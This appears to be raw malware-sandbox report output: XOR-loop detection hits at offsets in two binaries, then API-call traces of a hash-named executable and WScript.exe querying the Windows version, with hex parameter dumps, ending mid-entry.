Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2885632; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2908667; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2945842; code bytes = 30d0 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 964188; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 966122; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1030607; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1115468; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1129305; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1188837; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1314913; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1328174; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1463964; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1523652; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1548928; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1578045; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1607556; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1614384; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1622404; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1861596; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1974654; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1990242; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2040300; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2129953; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2192399; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2301347; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2321386; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2325886; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2569619; code bytes = 33c1 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 405296; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 790229; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 794439; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 796914; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 858494; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 859887; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 865552; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 924495; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 989874; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1072842; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1084567; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1096748; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1139243; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1214968; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1347529; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1498783; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1570409; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1588937; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1749115; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1766853; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1770651; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1776921; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1827864; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 1916213; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2055758; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2142145; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2258916; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2337935; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2372277; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2460071; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2555427; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2633565; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2780383; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2807169; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2819164; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2829041; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2875895; code bytes = 8030 Found XOR loop in file "WININIT.EXE.6A9E877A.bin" at offset 2934938; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 80956; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 256237; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 314655; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 315919; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 926348; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1122115; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1219521; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1279373; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1284042; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1285577; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1310111; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1349841; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1381940; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1439495; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1483693; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1492776; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1520463; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1627325; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1763821; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1828648; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1837662; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1846134; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1927787; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2103057; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2216333; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2282133; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2336766; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2341975; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2460507; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2523343; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2565752; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2604536; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2629941; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2640240; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2875722; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2899605; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2972897; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2992425; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3032081; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3065322; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3101509; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3202357; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3225392; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3262567; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 13753; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 13871; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 55393; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 72424; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 72700; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 126518; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 126649; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 312021; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 313023; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1280913; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1282847; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1347332; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1432193; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1446030; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1505562; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1631638; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1644899; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1780689; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1840377; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1865653; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1894770; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1924281; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1931109; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1939129; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2178321; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2291379; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2306967; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2357025; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2446678; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2509124; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2618072; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2638111; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2642611; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2886344; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 52821; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 62694; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 117539; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 118971; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 158082; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 314636; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 315512; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 315884; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 722021; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1106954; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1111164; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1113639; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1175219; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1176612; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1182277; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1241220; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1306599; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1389567; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1401292; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1413473; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1455968; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1531693; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1664254; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1815508; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1887134; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1905662; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2065840; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2083578; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2087376; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2093646; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2144589; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2232938; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2372483; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2458870; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2575641; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2654660; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2689002; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2776796; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2872152; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2950290; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3097108; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3123894; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3135889; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3145766; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3192620; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3251663; code bytes = 803031:T3146,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000180000000000000084f1200008f8200048f9200092e03c68d1e22ce5feffffff3cf820004c9c3c68630c000050f820005f9c3c6800000000 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000008c75000000000000000000008775000000005caacb73000000005cf820005cf8200050b2dd7397b2dd73c7bccd8a000000008cf9200001000000010000008cf920002cf8200088f8200048f92000eed4d373eb1d0df9feffffff97b2dd732bb3dd73000000000010000000000100fffffe7f03000000080000004a020000000001000600004f940000000600000001000000b11d00000200000053657276696365205061636b2031007f02000000000000008c47e17380332f008c47e1730000000080332f0008f92000086d4b7718815377000000008cf9200000000000fcf82000 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000018000000000000006cf0200000000000c8fa200092e03c68d1e22ce5feffffff24f720004c9c3c680d0c000044f720005f9c3c6800000000000000000000000000000000000000000000000015e1318d78f72000ee2d3b680d0c000044f7200064a8cb7364a8cb73fe2d3b68acf720000100000000000000000078730000000098f72000000000000000000000000000acf7200000000000000000000000000049e1318da0f72000186d3b75a0f720002a6d3b75000000000000000000007873842ee20100000000 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000e8001b6e0000000054c11f0068c21f00b4c41f0095e1477734a80a00ff2b4b77b0725e7744e11e6eac012a0000002a0000000000000000000100f700ed14000002000000b08e6a00109a5d00480067000200f200ed1400003c0000000100000028712a000000000020000000000000000000000030ed2d00186e2a00386f2a00488d2f00e0722a0094c21f0090c11f00b08e6a0010c31f0095e14777b4ac0a00feffffffff2b4b779a2a4b7744e11e6e34e11e6e00000000697465007374657200000000fcc21f00c88e6a008cc21f0080f4f77500005d000000000089f4f775 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d00410036004200420032003100360049bc268838dfca026d8238761c59f70104010000 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000370062006300330063003300610066003700630030006400300034006200390034006200640030003700320065006400320066003500360062003100640031002e00650078006500000000000000000000000000000000000000000000000000000000000000ff2b4b77fc7a8b75d8eb9875ac012a0000002a00000000000000000015009300aa0600000000000000000000000000000000000016008e00aa060000000000000000000028712a000000000020000000000000000000000050ee2d00186e2a00386f2a0078b83000e0722a0000000000d4c9ca020000000054cbca02 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ff2b4b77f45b8b751cecca02cc012a0000002a0000000000000000000f007301540500007ce4ca0244eb010194feca0292e03c6810006a015405000034ebca024c9c3c6880ebca02000000008e000000d0ebca02feffffff58ebca02cf004c77d6004c77fc5b8b758e00000047000000d0ebca020d0c00002cebca0295e1477794ebca0295e14777bcb60a00feffffffd6004c772f7b3b75010000005300d403167b3b757cf32b88 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000783cfa017cedca0204644b7738012a00e0634b77d85d8b750000000000002a00803cfa016dd18b75d8f52b886cae3d760000000000000000d8becc75c6bf0871b8c130000100000000002a0050012a000c000000803cfa010000000002000000180000003000000058edca020000000000000000030000001cedca023c6e4b7700000000000000000000000070ea2d00c075937570ea2d0000000000c075937538edca0279da8b75000000000200000090edca02ff2b4b77605d8b757400000004022a0000002a003200d20001000000200020006cae3d76000001019cecca02 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005856) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005316) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000c00003b00000000060000000000a0430c0044f0360004644b7738010600e0634b77ef3777770000000000000600a8430c000000000000000000000004000000000028f03600d77d4b7720f03600010000004c5b3f750000060050010600000000000000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000088690000000000000000000100000000 (UID: 00000000-00005316) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000f8e5360000000000104f0a0002034d770002000088014d770000000054e83600a4014d7700000000626f4b7764f84b770f2177775411be6c04e7360000000000000046773ff000005411be6c00000000000000003820060048e63600b69f4b7700000000000052746c496e697469616c697a65437269746963616c53656374696f6e00000000be6c0000000000000000000000003f217777fce53600000000005cea36000f21777714e63600020000002ce73600ff2b4b778b20777790490a009c01060000000600c214bf6c240100000200770007000000f5f64b7797207777 (UID: 00000000-00005316) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000600f803000020000000f27840000000000010ee0900906d0600b06e060040d30c00587206000000000050e536000000000064e7360095e14777bbdb0a00feffffffff2b4b779a2a4b773020bf6c941100000000000048003d003c000200010000003c000000010000000000000000000000107940000000000000000000f0093d0011000000000000003c00000010c16800c0e63600cc414c7720a1680088000000fe03000002000000000000003020bf6c40d30c003020bf6c0000000040d30c0094e63600086d4b77188153770000000094110000010000000000000000000000 (UID: 00000000-00005316) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000006000000000000000000000024d6360000000000ff2b4b773b117777b4602a6cac0106000000060054d836001a124d7727003900030100000000000090500a0002034d7700020000280034000301000098d83600a4014d77a0700600626f4b7720000000431177770000000010ee0900906d0600b06e060008d40c0058720600000000000cd63600ff2b4b778cd7360095e14777bbdb0a00feffffffff2b4b779a2a4b77b4602a6cb4602a6c000000006cd73600c0a16800fcd6360080f4f775000068000000000089f4f77545f7178d0200000070d736006cd7360000000000 (UID: 00000000-00005316) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000007777d0f01b6aac01060000000600ac010600000006001e006600080100001f006100080100000000000010510a001f0061000801000020005c0008010000a0700600a4014d7720000000000000000000000010ee0900906d0600b06e060070d50c005872060048d50c009cd73600000006001cd9360095e14777bbdb0a00feffffffff2b4b779a2a4b77d0f01b6ad0f01b6a0000000070f01b6a0000000004d9360048a2680094d8360080f4f775000068000000000089f4f7752df9178d0200000008d9360004d93600000000000879400048003d0098013d0048a2680058d83600 (UID: 00000000-00005316) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000006000000000020000000000000000000000010ee0900906d0600b06e060098d50c0058720600000000002cd736000000000040d9360095e14777bbdb0a00feffffffff2b4b779a2a4b77585a0a6ca00f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000585a0a6c98d50c00585a0a6c0000000098d50c0070d83600086d4b771881537700000000a00f000001000000b0d9360092e03c68 (UID: 00000000-00005316) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005316)32:T1e51,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007f02000000000000008c47e17380332f008c47e1730000000080332f0008f92000086d4b7718815377000000008cf9200000000000fcf8200048f9200095e1477764a10a00feffffff6b2c4c7731193c750210000000000000000001001cf92000c89f4b778c47e1730000000000000000 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb987578b8300000a0fd7f9a5c4c7700d0fd7f18cbca0244a0fd7f00000000400000003f0000002200000000a0fd7f0ccbca02c15c4c77608253772200000000a0fd7f9a5c4c7700d0fd7f30cbca0257894b778083537713173c75d8eb9875 (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005856) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000c4f03600ccf036003a173c75000000000000000078f136000200000000000000000000000c0000000200000001013600c2eb8b75ec5b4a774da03b75de000000fc574a770a9f3b7540010000ffffffff14f136000000000000000000f8f0360010f13600010000000000000002000000 (UID: 00000000-00005316) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000095e1477743cf0a00fefffffff5f64b77634d4c7790490a001015bf6c8808bf00b2f44b773b207777e8e736000000be6c0000be6c804d4c7707207777f0000000f000be6c0000000054e736005c004300e8e836000000000001000000b8e7360040f54b770000000000000000a4e73600 (UID: 00000000-00005316) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100006cb30c000100010040e6bd7614e7360014e7360024594c770000000068e8bd76503e0b0000000000110000003ce73600575a4c7700000000030000000200000000000000880000000100000054e73600459df7750000680000000000800000000200000000003700dc1abe6c68e73600 (UID: 00000000-00005316) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000283f286c08000000fa3e286cc814948a020000006842286c000037002f18286cc8a16800c0a1680058d736006842286c18d83600ce85296c44fc8ae6fefffffffa3e286c783e286c2f18286cacd736001e3e286c2f18286c67c1f77544602a6cc8d736004642286c44602a6c00000000 (UID: 00000000-00005316) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000f01a1a6a08000000c41a1a6acaad9f8a02000000d41c1a6a00003700e6161a6a58a2680048a26800f0d83600d0f01b6ab0d9360053af1b6a266eb3e0feffffffc41a1a6a421a1a6ae6161a6a44d93600d91b1a6ae6161a6a67c1f775ae053f7574573f750000000000000000cc923b75 (UID: 00000000-00005316) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000600000001000000b11d00000200000053657276696365205061636b20310000f01a1a6a08000000c41a1a6acaad9f8a02000000d41c1a6a00003700020000000000000088000000f0d8360030d93600459df77500006800000000008000000002000000000037009813096c44d93600 (UID: 00000000-00005316) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005316) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005316) "WScript.exe" called "GetVersionExA" with parameter 